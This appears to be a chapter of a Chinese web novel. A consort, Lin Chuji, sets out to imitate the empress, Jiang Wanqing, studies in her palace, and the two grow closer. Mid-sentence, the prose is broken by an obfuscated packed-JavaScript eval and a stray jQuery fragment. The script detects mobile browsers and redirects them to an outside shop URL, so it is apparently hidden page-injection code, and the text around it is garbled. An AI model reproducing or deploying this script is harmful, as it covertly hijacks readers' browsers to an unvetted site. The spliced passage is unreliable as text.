林初霁一路小跑回到自己的寝殿,关上门,激动地原地转了个圈。
“系统!系统你看到了吗?!”她在心里欢呼雀跃,“陛下她!她竟然把契约给吃了!”
【……看到了。】系统的机械音听起来有气无力,
【宿主,你不觉得陛下的反应更像是……惊吓过度吗?】
“惊吓?那明明是惊喜!”林初霁完全沉浸在自己的逻辑里,
“你想想,话本里那些霸道男主,收到女主的心意,不都是这种反应吗?
要么强吻,要么就是做出一些惊人的举动来表达内心的震撼和占有欲!”
她双手捧心,眼神迷离:“陛下她……她这是把我的‘心意’直接放进了肚子里!
这是何等的重视!总之,她就是认可了这份契约!认可了我这个替身!”
系统:【……(一阵剧烈的电流杂音)】
“哎呀,系统你不懂!”林初霁摆摆手,一副“我早已看透一切”的表情,
“人类的感情就是这么复杂又直接!陛下她就是不好意思直说,只能用行动表示!”
她美滋滋地坐到梳妆台前,看着镜中自己娇俏的容颜,越看越觉得有“白月光”那味儿了。
“看来我的第一步‘强行绑定’非常成功!虽然过程有点……
嗯,别出心裁,但结果是好的!”林初霁信心爆棚,
“那么,接下来,就该进行第二步了——‘宛宛类卿’,规则明确!”
【……宿主要做什么?】系统有种不祥的预感。
“当然是让陛下亲口告诉我,他喜欢江晚晴哪些地方,然后我来模仿啊!”
林初霁理直气壮,“话本里都是这么演的!
男主会要求替身模仿白月光的一切,做得不好还要被嘲讽!
这都是爱的鞭策!”
系统:【……(沉默良久)】它觉得自己的核心程序快要支撑不住了。
皇帝迟早被宿主这些骚操作整出心悸,皇后那边估计已经自己默默emo到内伤,
而它这个无辜的系统,恐怕要先一步被宿主气到短路报废了。
只有宿主还在傻乐,并且准备在作死的道路上策马奔腾。
翌日,御书房。
温晏正努力把昨天吞下去那团纸带来的心理阴影抛开,专心批阅奏折,试图用国事麻痹自己。
林初霁又来了。
这次,她倒是没拿什么奇怪的“契约”,而是捧着一卷画轴,脸上带着一种“求知若渴”的表情。
“陛下,”她行完礼,眼巴巴地看着温晏,
“臣妾昨日回去深刻反省,觉得自身与……与皇后娘娘相比,实在差距甚远。
恳请陛下为臣妾指明方向!”
温晏头皮一麻,手中的朱笔差点掉在奏折上。又来了!又来了!“
“爱、爱妃啊……”温晏试图蒙混过关,“你……你就做你自己挺好,不必……”
“不!陛下!”林初霁异常坚决,
“既然臣妾立志要成为合格的‘替身’,就必须精益求精!
请陛下告诉臣妾,皇后娘娘……她平日都喜欢什么?
穿什么颜色的衣裳?
梳什么样的发髻?
说话是什么语调?
走路是什么姿态?”
她一连串的问题砸过来,砸得温晏眼冒金星。
温晏看着林初霁那双写满了“陛下,我太想进步了!”的眼睛,只觉得一个头两个大。
她总不能真说“江晚晴喜欢看我吃瘪”或者
“她喜欢心情不好的时候喜欢揍我一顿吧?”
她绞尽脑汁,试图找点安全无害的信息搪塞过去:“呃……皇后她……喜静,爱看书,
偏好素雅的颜色,比如月白、淡青……发髻……就寻常样式,不喜繁复……
说话……嗯,言简意赅……”
她每说一句,林初霁就认真点头,用小本本记下。
“还有呢还有呢?”林初霁追问道,
“比如,她有没有什么小习惯?
陛下您最喜欢她哪一点?”
温晏:“……”我喜欢她别老用看垃圾的眼神看我行不行?
她被逼得没办法,只好板起脸,试图用“冷嘲热讽”让林初霁知难而退。
于是,温晏清了清嗓子,努力让自己的声音听起来带着三分凉薄,三分讥笑,还有四分漫不经心:
“呵,你问朕最喜欢她哪一点?”
她模仿着看过的戏文里的腔调,
“朕最喜欢她……心思沉静,目光明澈,不像你,眼神飘忽,整日不知在想些什么!
她行事稳妥,顾全大局,不像你,毛毛躁躁,尽给朕惹麻烦!”
她把自己能想到的、江晚晴的优点和林初霁的“缺点”都拿出来对比了一遍,
希望能打击到林初霁,让她放弃这个可怕的“替身”计划。
然而——
林初霁听着温晏的“嘲讽”,眼睛却越来越亮!
林初霁收起小本本,对着温晏郑重其事地行了一礼,眼神充满了感激和斗志:
“臣妾明白了!多谢陛下教诲!
臣妾一定努力改正,静心沉气,目光坚定,行事稳妥,
争取早日达到皇后娘娘的标准,不负陛下期望!”
说完,她心满意足,仿佛得到了绝世武功秘籍般,昂首挺胸地离开了御书房。
留下温晏一个人僵在原地,手里的朱笔“啪嗒”一声掉在了桌上。
她……她刚才那番“嘲讽”……是起到反效果了吗?
温晏看着林初霁离开的背影,仿佛看到了一只扑棱着翅膀、欢快奔向火坑的傻蛾子。
她绝望地捂住脸。
完了。
这日子,没法过了。
温晏在御书房经历了林初霁的“求学若渴”之后,深知风暴即将来临。
她揉着依旧有些不适的喉咙,第一时间赶到了凤仪宫。
“晚晴,”她一脸凝重,语气沉痛,
“朕觉得,有必要提前给你打个预防针。”
江晚晴正临窗插花,闻言头也没抬,只从鼻子里轻轻哼出一个单音节:“嗯?”
“就是林贵妃……”温晏组织着语言,
“她……她好像对你的‘一切’都产生了浓厚的‘研究’兴趣。
朕估摸着,接下来这些天,你怕是不得安宁了。她肯定会变着法儿来找你,‘学习’你,‘模仿’你……”
江晚晴修剪花枝的手微微一顿,她将一支白梅插入瓶中,调整好角度,才淡淡开口:
“无聊。”
而另一边,长乐宫内。
林初霁正对着她那本《白月光行为准则》小本本埋头苦读。
“静心沉气……目光明澈……行事稳妥……”她念念有词,然后猛地合上本子,眼神坚定,
“光说不练假把式!要想真正领悟皇后娘娘的精髓,必须近距离观察,沉浸式体验!”
于是,她做出了一个“重大”决定——去凤仪宫,找江晚晴一起读书!
说干就干!林初霁立刻让春桃把她能找到的、看起来最高深、最厚重的书籍都搬出来。
《资治通鉴》、《十三经注疏》、《女则》、《女训》……
她一股脑地抱了满怀,摞起来几乎比她的人还高,摇摇晃晃,步履蹒跚地朝着凤仪宫进发。
凤仪宫内。
江晚晴依旧在慢条斯理地插花,修剪,调整。
殿内的熏香静静燃烧,时间一点点流逝。
含翠进来添了两次茶,都有些奇怪娘娘今日似乎格外“闲适”。
江晚晴的目光,偶尔会状似无意地扫过殿门的方向。
不是说要求教吗?怎么还不来?
是知难而退了?还是又去缠着温晏了?
就在她准备放下剪刀,决定不再浪费时间去“等待”一个脑子不清楚的人时,殿外终于传来了动静。
是那个熟悉的、带着点喘息的、咋咋呼呼的声音,以及……某种重物拖沓的脚步声?
“皇、皇后娘娘……臣妾……臣妾来向您请教了!”
江晚晴抬眸望去。
只见林初霁抱着一座几乎把她整个人都淹没的“书山”,摇摇晃晃地挪进了殿门。
她小脸憋得通红,额角沁出细密的汗珠,发髻都有些散乱了,那堆书看起来随时可能把她压垮。
江晚晴看着林初霁抱着那座摇摇欲坠的“书山”,眉头越蹙越紧。
就在林初霁踉跄着快要跨过门槛时,最上面的几本厚册子终于不堪重负,
“哗啦”一声滑落,散了一地。
“哎呀!”林初霁惊呼一声,手忙脚乱地想蹲下去捡,结果怀里的书失去平衡,
更多的书噼里啪啦掉了下来,瞬间在她脚边堆成了一个小丘,把她自己困在了中间,好不狼狈。
江晚晴:“……”
她闭了闭眼,深吸一口气,终究还是看不下去这蠢得伤眼的场面。
她放下剪刀,缓步走了过去,屈尊降贵地蹲下身,默不作声地开始帮林初霁捡拾散落的书籍。
林初霁正蹲在地上手忙脚乱,忽然一只骨节分明、白皙修长的手伸了过来,拾起她脚边的一本书。
那手带着一种玉石般的凉意,在拾起书册的瞬间,不经意地碰到了林初霁温热的手背。
“嘶——”林初霁被那冰凉的触感激得一哆嗦,下意识地缩回了手,抬头正对上江晚晴近在咫尺的、没什么表情的脸。
皇后的手……怎么这么冰?像冰块一样!
林初霁心里嘀咕,难道这就是“冷若冰霜”的至高境界,连体温都练没了?
江晚晴自然也感觉到了林初霁手背那过分温暖的温度,以及她受惊般缩回的动作。
她眸光微闪,什么也没说,只是加快了捡书的速度,将最后一本书拾起,摞在那堆书上,
然后站起身,用帕子轻轻擦了擦手。
“书既已捡起,贵妃可以回去了。”江晚晴的声音恢复了惯常的清冷,
“本宫事务繁忙,无暇陪你玩这些游戏。”
林初霁一听,急了,也顾不上手背那点残留的凉意了,抱着好不容易重新整理好的书堆,连忙道:
“是正事!是正事!臣妾是来向娘娘请教学习的!不是玩游戏!”
她生怕江晚晴再赶她走,也不等江晚晴再发话,竟抱着书,像个跟屁虫一样,亦步亦趋地跟在转身欲回的江晚晴身后,
自顾自地就往殿内走,嘴里还念叨着:“娘娘您忙您的,我就在旁边看书,绝对不吵您!有问题我再问!”
那架势,俨然是把凤仪宫当成了自家书房。
江晚晴看着她抱着那堆书、踉踉跄跄跟在身后的样子,脚步微微顿了一下。
含翠连忙给林初霁搬了个绣墩,又奉上一杯热茶:“贵妃娘娘,您请用茶。”
林初霁道了谢,捧着热茶喝了一口,暖意驱散了刚才手背的冰凉,她舒服地眯了眯眼。
江晚晴走到书案前,坐下。
拿起书。
头也没抬。
“书放那边。”她指了指角落,
“自己看。别出声。”
林初霁愣了一下,然后连忙点头。
“好好好!不出声!臣妾保证!”
她把那堆书往角落一放,一屁股坐在地上,随手拿起一本翻开。
然后偷偷瞄了江晚晴一眼。
江晚晴坐在书案前,离她老远。
隔着整个大殿的距离。
林初霁眨眨眼。
这是……讨厌我吗?
干嘛离这么远?
她挠挠头,有点想不明白。
但转念一想,算了,能留下就不错了。管她离多远呢。
她低下头,开始看书。
殿内安静下来。
只有偶尔翻动书页的声音。
江晚晴坐在书案前,目光落在书页上。
但她一个字都看不进去。
她的目光,不受控制地往那个角落飘。
那个小小的人儿,坐在地上,抱着一本比脸还大的书,看得认真。
阳光从窗户照进来,落在她身上,给她镀上一层柔和的光晕。
她的眉头偶尔皱起,偶尔舒展,偶尔咬着嘴唇,像是在努力理解什么。
林初霁翻着书,总觉得有点不对劲。
好像有什么东西在看着自己?
她抬起头,往书案那边看去。
江晚晴一只手撑着下巴,正眷恋地看着她。
那目光温柔,专注,带着一种说不清的情意,像在看什么很珍贵的东西。
林初霁对上那视线,愣住了。
那是……什么眼神?
江晚晴飞快地垂下眼帘,低下头,假装在看手里的书。
动作快得有点不自然。
林初霁盯着她看了半天。
怎么回事?是在看我吗?
不可能吧,看我干吗?
虽然我长得确实很好看啦,但也不至于这么看吧?
林初霁挠挠头,又盯着江晚晴看了几秒。
江晚晴一直低着头,没再抬起来。
林初霁想了想,忽然站起来,抱起一本书,大步朝书案走去。
江晚晴听见脚步声,睫毛颤了颤。
但她没有抬头。
林初霁走到她面前,把书往桌上一放。
“皇后娘娘。”
江晚晴这才抬起眼帘。
那双眼睛已经恢复了平日的清冷,看不出任何情绪。
“怎么了?”
林初霁指着书上的某一行。
“我这里不理解,你给我讲一下。”
江晚晴低头看了看那本书。
又抬起头,看着她。
然后她发现——
林初霁已经在她旁边坐下了。
就在她旁边,离她很近很近。
近到能闻到她身上淡淡的桂花香。
近到能看清她睫毛的弧度。
江晚晴的呼吸微微一滞。
“皇后娘娘?”林初霁歪着头看她,
“你怎么了?”
江晚晴没有反应。
林初霁拿手在她面前挥了挥。
“喂?皇后娘娘?江晚晴?”
江晚晴回过神来。
她垂下眼帘,遮住眼底翻涌的情绪。
“哪里?”她的声音依旧清冷,却微微有些哑。
林初霁指了指书上的字。
江晚晴低头去看。
但她脑子里一片空白。
那些字一个个跳进眼里,却进不了脑子。
她只能感觉到旁边那个人温热的体温,和她身上淡淡的香味。
“这里。”林初霁又指了指,“这句话什么意
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17832837|211357||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
思?”
她见江晚晴没反应,干脆清了清嗓子,把那句话大声念了出来:
“她轻轻解开她的衣襟,指尖划过那片细腻的肌肤,两人交缠的身影在月光下融为一体,喘息声此起彼伏——”
林初霁念着念着,声音越来越小。
小到几乎听不见。
她的脸以肉眼可见的速度红了起来。
从耳根红到脖子,从脖子红到脸颊,整个人像是被煮熟了的虾。
“这……这……”她手忙脚乱地把书“啪”的一下合上,恨不得找个地缝钻进去。
江晚晴还没反应过来,看着她那副惊慌失措的样子,微微蹙眉。
“怎么了?”
“没、没事!”林初霁把书死死抱在怀里,声音都在发抖,
“没事没事!臣妾忽然想起来还有点事!先告退了!”
她说着就要站起来。
但脚下一软,差点摔倒。
江晚晴伸手想扶她,她却像受惊的兔子一样跳开。
“不用不用!臣妾自己可以!”
她抱着那本书,踉踉跄跄地跑回角落,一屁股坐下,把书塞进那堆书的最底下。
然后她低着头,假装什么都没发生。
角落里。
林初霁抱着膝盖,把脸埋进去。
心里在疯狂骂人:
叶灵之!!!你这个害人精!!!
什么破书夹在里头!!!
这下丢人丢到凤仪宫了!!!
她偷偷抬起头,瞄了江晚晴一眼。
江晚晴低着头,好像什么都没发生。
林初霁松了口气。
但脸还是烫的。
她深吸一口气,赶紧把那本“罪证”往最底下又塞了塞。
决定再也不碰那堆书了。
她在角落里坐了一会儿,屁股都坐麻了。
偷偷瞄了江晚晴一眼。
那人还在看书,安安静静的,像一幅画。
林初霁小心翼翼地站起来。
“那个……”她小声说,
“皇后娘娘,臣妾坐得有点累了,可以站起来走走吧?”
江晚晴头也没抬。
“随你。”
林初霁眼睛一亮。
她开始在凤仪宫里转悠起来。
这儿看看,那儿摸摸,像个好奇宝宝。
转着转着,她忽然被窗边的一盆兰草吸引了目光。
那盆兰草长得……怎么说呢,叶子黄了一半,蔫头耷脑的,看着可怜巴巴的。
但花盆里的土,湿漉漉的,像是刚浇过水。
她转过头,看向江晚晴。
“皇后娘娘,”她指着那盆兰草,
“你这盆花……”
江晚晴抬起头。
“怎么了?”
林初霁忍不住笑出声。
“娘娘,你可真是植物杀手啊。”她指着那盆蔫头耷脑的兰草,“这花都快被你浇死了吧?
江晚晴的动作微微顿了一下。
她没有说话。
林初霁又凑近闻了闻。
“奇怪……”她嘟囔着,“怎么一股药味?
她想了想,忽然想起什么。
“对了娘娘,”她走回江晚晴旁边,“你是不是在吃药?”
江晚晴愣了一下。
“什么?”
“就是……”林初霁指了指那盆兰草,“那土里的药味,是不是你喝的药倒进去了?”
江晚晴沉默了一瞬。
“有点感冒。”她轻声说,“吃了点药。”
林初霁点点头。
“哦。”
她站在那儿,看着江晚晴。
江晚晴低着头,没看她。
林初霁想了想,又开口:
“那你照顾好身体啊。”
江晚晴的睫毛微微颤了一下。
她抬起头,想说什么。
却看见林初霁已经转身,走到旁边的架子上,拿起一件披风。
然后她走回来,把披风轻轻披在江晚晴肩上。
“那更要注意保暖了。”林初霁说,“感冒了就别坐这儿吹风。”
江晚晴愣住了。
她低头,看着肩上那件披风。
又抬起头,看着林初霁。
“你……”
她张了张嘴,却不知道该说什么。
林初霁本来已经准备转身走了,听见这一声,下意识回过头。
然后她对上了江晚晴的眼睛。
那双眼睛正看着她。
温柔的,眷恋的,小心翼翼的。
林初霁的心跳漏了一拍。
她忽然想起叶灵之说过的话。
“皇后那双眼睛,看狗都深情。”
当时她还笑,觉得叶灵之夸张。
现在她信了。
这谁受得了啊!
林初霁的脸腾地红了。
她连忙别开视线,不敢再看那双眼睛。
“咳咳!”她用力咳嗽两声,声音都有点飘,
“那个……娘娘你继续忙!臣妾先回去了!”
她说着就往门口走。
走了两步,又想起什么,停下来。
“这堆书太多了,”她指着角落那堆书,
“臣妾一次性拿不完。先拿一半,下次再来拿剩下一半!”
说完,她飞快地蹲下去,从那堆书里抽出那本害她丢人的“罪证”,那本女同话本,紧紧抱在怀里。
然后她站起来,抱着一半的书,头也不回地跑了。
含翠从侧殿走出来,手里端着个托盘,一眼就看见了江晚晴肩上那件披风。
她愣了一下。
“娘娘?”她走近几步,有些不解,
“您怎么把这件披风拿出来了?奴婢正准备拿去洗呢。”
江晚晴的手微微一顿。
她低下头,看着肩上那件披风。
淡青色的料子,边角有些旧了,是她平日里常穿的那件。
刚才被林初霁从架子上随手拿了下来。
现在还残留着一点温度。
还有一点点,若有若无的桂花香。
“先不用洗了。”江晚晴轻声说。
含翠眨眨眼。
“啊?”
江晚晴拢了拢披风,把它往肩上收了收。
“我想再穿几天。”她说。
含翠站在原地,愣了好几秒。
这件披风,娘娘不是前几天才穿过吗?
而且从来都是让按时换洗的,怎么今天…
她偷偷瞄了一眼江晚晴的表情。
那张脸上依旧清清冷冷的,看不出什么。
但不知怎么的,含翠就是觉得,娘娘今天好像……有点不一样。
江晚晴抬起头,看向含翠。
然后,她的唇角微微上扬了一下。
“娘娘,”含翠忍不住小声说,
“您今天心情不错呢。”
江晚晴愣了一下。
她垂下眼帘,似乎在思考这句话。
然后她又抬起头。
“嗯。”她说,声音很轻,
“发生了开心的事。”
含翠眨眨眼。
开心的事?
什么事能让娘娘这么开心?
她没有再问。
“那奴婢去给您沏茶。”她笑着说,转身往外走。